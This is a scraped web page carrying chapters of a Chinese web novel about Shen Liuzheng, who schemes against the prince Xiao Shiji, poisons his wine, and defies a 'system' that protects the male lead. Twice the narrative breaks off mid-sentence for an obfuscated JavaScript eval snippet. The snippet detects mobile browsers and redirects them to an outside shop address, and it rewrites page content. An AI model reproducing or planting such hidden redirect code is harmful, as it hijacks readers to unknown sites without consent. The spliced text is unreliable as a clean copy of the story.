虞昭在宫宴上无聊极了,本来有两个可以说话的人,到最后也都先离开了。 那时,她掏出衣袖里的破旧铜钱,随手一丢便咕噜咕噜掉落在桌案上。等看清卦象,她眼中瞬间闪出丝兴奋,于是溜了回来。 虞昭推算出今日有人来天机处,定是要来瞧瞧究竟是何人。 闻人珏喜欢湖水,于是天机处有了很多赏湖的亭子。 虞昭在天机处逛了一圈,也没见到卦象中算到的陌生人,就在快放弃时,忽地瞧见远处的两道身影。 虽然只瞧得见是背影,看不到正面,可放在一起却是莫名和谐,赏心悦目。 虞昭快步走近,才发现原来是前不久才见过的沈流筝。还未等她开口,沈流筝便先开了口,语带笑意:“神女发髻的花饰真是别具一格,与神女气质极为相配。” 虞昭被夸得微微脸红,摸了摸头上刚赏赐的发簪:“是、是吗?这是太后娘娘送的,定要让我戴上才好的。” 虞昭很少碰见说话这么直白的人,虽然不习惯,但还是很高兴的。 虞昭到了殿中,把平日里好玩的东西都搬出来,然后似是献殷勤道:“沈姑娘,这些我都是平日里积攒的好玩意,不过我更喜欢算卦,这些东西,不如你都用来打发时间吧。” 虞昭希望沈流筝在天机处多待上几日,平日里她的生活实在无趣。 “还有,沈姑娘以后不用叫我神女,叫我昭昭就好。” 沈流筝笑:“好啊,那昭昭叫我流筝吧。” 沈流筝的目光在那些物件上缓缓扫过,有糖画,还有街道上少女常玩的东西。不过这些东西对于不怎么出宫的虞昭来说,已经算是稀奇的了。 沈流筝抬手从木匣中挑了一个风铃,轻轻晃动,铃声清脆动人,造型也别致。 “昭昭,这是何物?” “这是风铃谷特制的风铃,有助眠的功能,不过,这还有一个旁人不知晓的用处,那就是能催眠,能让人吐露藏在心底最深处的秘密。” 虞昭说话间有些骄傲。 沈流筝眉梢一挑:“甚好。” 虞昭见沈流筝喜欢,心里也雀跃,还想再说什么,却忽然感到一股凉意。 闻人珏眸光冰凉,淡淡扫过来。虽然不发一言,威严却难以忽视,让虞昭接下来的话卡在喉中,只能不甘地闭上嘴。 虞昭气鼓鼓的鼓起脸颊,瞧着有些赌气。 大师兄果然跟师父说的一样,就是个戳不动的冰山雕像,对人家女孩子也这般冷漠无情! 虞昭与流筝道别后,哼了一声离开。 沈流筝意味深长瞥了闻人珏一眼。天机处的所有秘密,她最终都要知道。 忽然,头顶瓦片传来响动,有人大胆偷偷潜入皇宫。 闻人珏目光转向沈流筝,缓缓开口:“竟有人大白天闯入宫中,还直达天机处,倒是够胆识,有趣得紧。” 皇宫机关重重,布防森严,更不用说机关密布的天机处,稍有不慎便会被穿成筛子。 沈流筝默默看着他的动作。 闻人珏走到书桌前,伸手按在墙上一处机关,只听“咔哒”一声,暗格打开,露出其中精妙机关。 只需轻轻一按,暗处的陷阱便会尽数启动,潜入之人必定非死即伤。 见闻人珏将手覆向机关,沈流筝骤然冷声道:“那是我的人。” 闻人珏听罢,嘴角浮现淡淡笑意,他收手:“让他进来。” 外面还有无数隐在暗处的侍卫。 机关收起。 屋檐上的人从上面跳下来,从窗中翻身而入。他的衣袍有几处撕裂,露出几道血痕,但伤得不重。 路无劫不愿意让自己显得狼狈,尽力遮掩着带血的伤口。他走上前,目光上下仔细打量了一番沈流筝,确认人没受伤,才稍稍松口气。 路无劫站在了稍远的位置,避免身上的血腥气味传出。 沈流筝忽然道:“国师大人,还得麻烦您,给拿些上好的金疮药来。” 路无劫皱眉,刚想开口说“不必”,却在对上沈流筝的目光时一怔。 算了。 闻人珏没说到底给不给,甚至不屑留给路无劫半点关注,转身离开。 金疮药最终还是送来了。 路无劫收到骆席玉的消息便火速赶来,骆席玉虽身份特殊,却不能在天机处久留。 她记得沈流筝晕倒前的话,便放心把人交给闻人珏。 然而时间一久,骆席玉还是放心不过,让路无劫来查看。 路无劫:“你既然没事,那我就走了。” 沈流筝:“伤势治好,有银票,不然这个月没有银钱。” 路无劫听了,刚迈开的脚步一顿,轻轻“哦”了声,也不再走了。 沈流筝一直想看看天机处到底有多少机关,可破解花费的时间太长,又待了一日,等着路无劫伤势差不多了,两人离开。 另一边,宫宴上发生的事传到沈府,对沈明礼来说,萧时寂被罚犹如晴天霹雳,心力交瘁,竟懒得去理会沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14175132|146502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 流筝的去向。 简直是提到这事就头疼,于是也没管人到底在哪里。 …… 萧时寂被关禁闭,门口有重兵把守。府中一片沉寂,仆从们各个噤若寒蝉,生怕牵连受罚。 主子被责罚,谁也不敢轻举妄动。 萧时寂颓然地待在在书房,鬓发散乱,早没了往日的风流恣意。手中的酒壶咕噜噜滚落,一直滚到门口。 此时,房门突然被推开。 这触动了萧时寂的敏感神经,随即传来满含怒气的声音。 “我说了多少次,不要进来打搅我!” 酒壶滚到裙摆边停住,来人弯腰拾起酒瓶,轻步走入房中。 萧时寂听着动静,眉头紧皱,抬眼朝外看,却瞥见多日不见的身影。等看清来人,他惊诧不已:“流筝,怎么是你?” 沈流筝从头到脚打量着他,眼前的萧时寂失魂落魄,风采尽失。 很好,但可以更好。 当然,沈流筝脸上满是担忧神色,眼含关切。 萧时寂方才的怒气早已消散,忽然意识到眼下自己的狼狈模样,竟有些不敢对视。 太后明令禁止任何人探望,但沈流筝还是来了。 沈流筝答得干脆:“我想来看看你,便来了。” “我是从隔壁院子翻进来,只要是想来,总有办法的。” 流筝心中一直挂念着自己。 “流筝……”萧时寂心下一暖,即便身处这样的境地,眼前人还是不离不弃陪着他。 他心中泛起温柔感激,自己何德何能。 萧时寂上前一步,将人紧紧揽在怀中。 这是两人之间的第一次亲密接触。沈流筝袖中的匕首泛着冷光,收起下意识的动作。 萧时寂放开她,倒了杯温茶,拉着她一同坐下。 沈流筝端起茶盏:“我听管家楼叔说,你这几日总是借酒消愁,这对身体不好。” 萧时寂自嘲:“我都落到这般田地了,身体还有什么用?” 沈流筝猛地把杯子放在桌上,直视他道:“男儿生于天地间,怎能如此轻易就被打倒?” 沈流筝开了头,把心中想的激励言语说了个遍,掷地有声。 萧时寂听着,眼中的颓意逐渐褪去,重新燃起光来,“流筝,你是最懂我的。” 沈流筝垂下眼帘,嘴角浮起不可察觉的笑。 等萧时寂再站起来,她会再次亲手毁了他。他撞得越狠,那她心里便越畅快。 更何况,这样的小挫折根本不足以击垮他,如此轻易便倒下,那男主的力量也太过廉价了。 外面忽然响起敲门声。 萧时寂脸上掠过惊慌,沈流筝轻轻将手指抵在唇边,示意不要讲话。 萧时寂会意点头。 沈流筝悄然退至屏风后,隐约看到门外有人端着一杯酒走进来。 那人神态傲慢,将酒杯随意搁下后便转身离去,嘴里似乎低声嘀咕了什么,但听不清内容。 待人离开,沈流筝才走了出来。只见萧时寂眼眶泛红,拳头紧握。 沈流筝看着桌上的酒杯:“这是谁送的?又是什么东西?” 萧时寂嘴角露出苦笑,眼神泛着冷意:“毒酒。” 沈流筝一怔。 毒酒? 20. 第 20 章 沈流筝看他:“这、这是太后送来的?” 萧时寂闭上眼,面色灰败:“除了她,还能有谁?” “可万一不是呢?” 萧时寂唇角紧抿,显然是不信的。 话音刚落,站在门外的管家楼严突然闯了进来。他直直冲向桌案,抓起酒杯,毫不犹豫地一饮而尽。 他这是用命在试毒。 “楼叔!”萧时寂惊呼一声,想阻止却没有动作,只眼睁睁看着人将酒彻底喝下,才匆忙上前一把抓住他的手臂。 楼严布满风霜的脸上毫无畏惧,语气坚定:“殿下不必这般看我,这是我应当做的。” 萧时寂死死盯着他的脸,目光中既有担忧也有压抑的怒火。可一炷香的工夫过去,楼严依旧安然无恙,没有半分中毒的迹象。 这酒竟然没毒。 萧时寂松了口气,眉宇间阴霾缓缓散去,轻声喃喃:“原来如此……” 看来太后还未至于下此狠手。 没人注意到,身后的沈流筝垂眸,长长眼睫掩住纷乱思绪,唇边浮起一抹无奈笑意。 她抬头看那金光闪闪的系统面板,赫然显出几个大字。 【请帮助男主重夺优势。】 男主? 沈流筝心底冷笑。 系统还真是执着于帮萧时寂,即便原书剧情脱离主线,发生了更改,也要保证他的夺得皇位吗? 可她不愿意。 即便剧情的变化没有预期的顺利,但总归有改变,至少眼下身上的疼痛感减弱了些。 沈府马车停在大门外,青色车帘挑开,路无劫抬眼看去,随后问:“那杯酒他不肯喝?” 沈流筝脸上并没有喜色,反而显得有些疲惫。 她额头沁着细密汗珠,倚靠在金丝软垫上,闭目养神,语气淡然却透着一丝讥讽:“不知道啊,有人抢在他前面把那杯酒喝了,呵,更可笑的是,那杯酒下肚,人竟一点事都没有。” 如果楼严没有突然闯入,那杯酒萧时寂大概率也是不会喝的,但他必定会想策略应对。 沈流筝本是在等着看这一切,只可惜,等到的是勇敢献祭的楼严。 一个本不该出现的局外人。 路无劫诧异:“怎么会?那是夺命封喉的毒药,稍微沾上一滴便能让人丢了性命……” 说话间,路无劫突然没了声,他看到眼前的沈流筝紧闭双眼,脸色苍白,唇色更显无血色,衣袖下的手指在死死攥着,掩盖住轻微颤抖。 路无劫心下一沉。 又是这幅样子,她到底是中了什么毒? 路无劫眸光深沉,默默记下沈流筝此时模样,不论是什么病症,他要找到救治的法子。 今日送去的确是杯毒酒,可送酒的人并不是太后,而是沈流筝收集了千丝万缕的关系,混淆太后身边人的视线,巧妙将毒酒送到了萧时寂手里。 来的人是太后的随从,那么在萧时寂看来,这毒酒自然就是太后送来的。 可系统为了萧时寂活命,不仅安排角色来为他喝下毒药,还为了保险起见,把酒中毒性彻底散去。 所以楼严即便举杯饮尽也没什么大碍。 罢了。 原以为系统的书页混乱更改,萧时寂的主角光环便会黯淡很多,但看来并没有很大变动。 若是剧情没有更改,原本那些无故受虐的剧情是否还会一一重演?难不成真要出现她被毒哑,昏死的剧情? 沈流筝心底升起股烦躁。 …… 又过了半个月,佛寺的高僧慧能不知给太后说了什么,让她对萧时寂态度有所改观,不再提及禁足一事。 萧时寂被提前放了出来,紧接着便是往东南方向走,去着手应对可能到来的灾祸。 京师城的寒意愈发逼人,寒灾降临的迹象也愈加明显。 太后念及萧时寂细心筹划,认为他此举正合佛家慈善之道,顺势下旨让沈家三小姐随行。 换个角度看,这一安排也正好成全了萧时寂的心思。 这一消息传到沈府,沈明礼乐得眉开眼笑,满脸掩饰不住的得意之色。他心中清楚,只要萧时寂复宠,他的仕途便将一片坦荡。 白雪纷扬,车马缓缓驶出城门。 这一趟出行带了不少行李,车夫将物件全都装在最后一辆马车里,其中不仅有太后赏赐的物品,还有孟朝颜偷偷送来的御寒之物。 可沈流筝最关心的是另一位,即将从西南赶来的郡主穆依依。 这还是说回上一次萧时寂去西南重镇救灾。那一趟,不仅让他取得了西南王的心,也悄然俘获了西南郡主的心。 郡主唤穆依依,一听到萧时寂有难,立刻马不停蹄从西南赶来。按照收到的情报推算行程,晚上便可以在驿站碰见这行人。 路无劫会与沈流筝在路上的驿站悄悄碰面。 夜色之下,人从屋檐上悄然翻入窗内,走向书桌前。他神色有些凝重提醒道:“这些来的人,有些不同,你要当心些。” 沈流筝单手托腮,似笑非笑问:“哦?怎么个不同法?” “西南擅巫蛊之术。” 路无劫顿了顿又道:“这次来的人不只有穆依依,还有西南大巫女穆辛。” 巫女? 之前书中提到,西南巫女曾奉西南王之命,利用巫蛊之术协助萧时寂拿下京师城至西南间的数个州县。 据传巫术能使人染病或中毒,只需控制一州之长,便无人敢不从。正因如此,西南巫蛊之名让人闻之色变,既可怖又神秘。 这一趟,穆依依带上穆辛同行,究竟是想做什么呢? 房门突然被叩响,打破了屋内的静谧。两人对视一眼,路无劫从窗子里翻出,仿佛无声掠过的暗影,瞬间隐没在夜色中。 沈流筝依然站在桌案前,仿若未受影响。她缓缓挑了挑烛花,火焰跳动间溢出些许细微的火星,明暗交错的光影映入她的眸中。 那双眼睛宛如深潭,却透出一抹冰冷的光泽,与她平日甜美无害的模样判若两人。 火光舔舐着手中的信纸,迅速蔓延,信件化作片片焦黑的灰烬,从指尖滑落。 敲门声依然持续着,见屋内迟迟没有动静,外面的人似是担心,竟直接推门而入。 “流筝,你在吗?” 萧时寂走进来。 沈流筝微微打了个哈欠,抬手理了理脸颊发丝,甜甜一笑:“方才有些困,一不留神睡着了,所以没听到敲门声。” 萧时寂柔声解释:“没什么事,只是我觉得外面太危险了,又见里面没动静,这才冒昧推门进来,你可会怪我?” 沈流筝摇头:“自然不会怪你,我都明白的。走吧,去吃些东西吧,我猜你肯定饿了。” 走到外面,小二满脸堆笑地抱着菜谱迎上前来,恭敬地等着客官点菜。然而,接下来却发生了一件 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14235431|146502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让人啼笑皆非的奇葩事。 这边客人点什么菜,那人就要点同样的,而且还要加倍。 “一壶桂花酿。” “两壶桂花酿。” “一只荷叶鸡。” “两只荷叶鸡。” 小二愁眉苦脸挠了挠脑袋,语气无奈:“诶,这……” 小二不禁回头看向不远处桌子的少年。那少年唇红齿白,一副清秀模样,却像是抽了疯似的,专门与这边的客人较劲。 萧时寂不由得抬头看过去,眉头皱起,瞧着不远处少年的背影,心中升起一股不快。 此人为何如此无礼? 沈流筝挑了挑眉,唇边划过一丝不可察觉的笑意,悠闲自若地继续点菜。 而那少年,依旧一如既往地重复着她的菜名。 “着实过分。” 萧时寂忍无可忍起身,径直往那少年走去,脸色冷峻直接问:“敢问阁下,此举究竟有何用意?” 那少年猛地起身,终似是再也压抑不住情绪,脱口而出:“殿下,你难道认不出我了吗?” 萧时寂微微一愣,目光定住。 尽管眼前“少年”嘴上粘着圈明显不合时宜的假胡须,但那清秀的轮廓却无法掩盖其本来的模样——显然是女子无疑。 萧时寂紧皱的眉头松了松:“昌乐郡主?” 穆依依清清嗓子,眼中多了丝俏皮:“别叫我什么郡主,还像之前在云南府一样,叫我依依。” 萧时寂的目光不由自主地移向坐着的沈流筝。 穆依依立即捕捉到他的眼神,随即瞥了沈流筝一眼,眼底的不悦毫不掩饰,清晰直白。 沈流筝微微侧头,朝着她笑:“昌乐郡主安好,郡主可真是活泼可爱,令人心生羡慕。” 穆依依看呆了一瞬,立即移开脸。她不喜欢萧时寂身边有任何女子。 三人坐到了一处。 穆依依神情得意:“殿下,我送来的这份礼物,你必定是喜欢的。” 萧时寂抬眼看她,目光平静,却不置可否。 穆依依笑得更灿烂了,轻轻拍了拍手。很快,一道低沉的脚步声由远及近,一个人影缓缓走到面前。 巫女的装束显得神秘而异域。 穆辛身形修长,衣袍宽大,深紫色布料上绣着复杂的金线图案,如同蛊虫的纹路。及腰长发乌黑浓密,发梢缀着零星骨饰,随步伐轻轻晃动。 穆辛眼神深邃冰冷:“郡主。” 穆依依看向萧时寂:“殿下,我有一件对策要与你讲,不过只能你一人听。” 穆依依目光不善扫向沈流筝。 萧时寂:“依依,流筝她与我同去,一起听也没什么的。” “我不要!”穆依依不满地鼓起腮帮子,不乐意了,“你若是不答应呢,那我就不告诉你了!反正巫女只听我一个人的,你看着办吧。” 沈流筝早能猜到结果,只是等着看萧时寂会怎么说。她的指尖无声扣在桌案上,节奏缓慢而清晰。 一声,两声,三声…… 指尖在第三下时突然停住,悬在半空,似乎在等待什么,又像是在下一刻会继续落下。 萧时寂忍不住开口,语气犹豫挣扎:“流筝……” 萧时寂满眼无奈看着她,满是舍不得,仿佛千言万语都被压在喉间,却只能吐出这一个名字。 沈流筝收回手,眸光平静,只是静静看他演。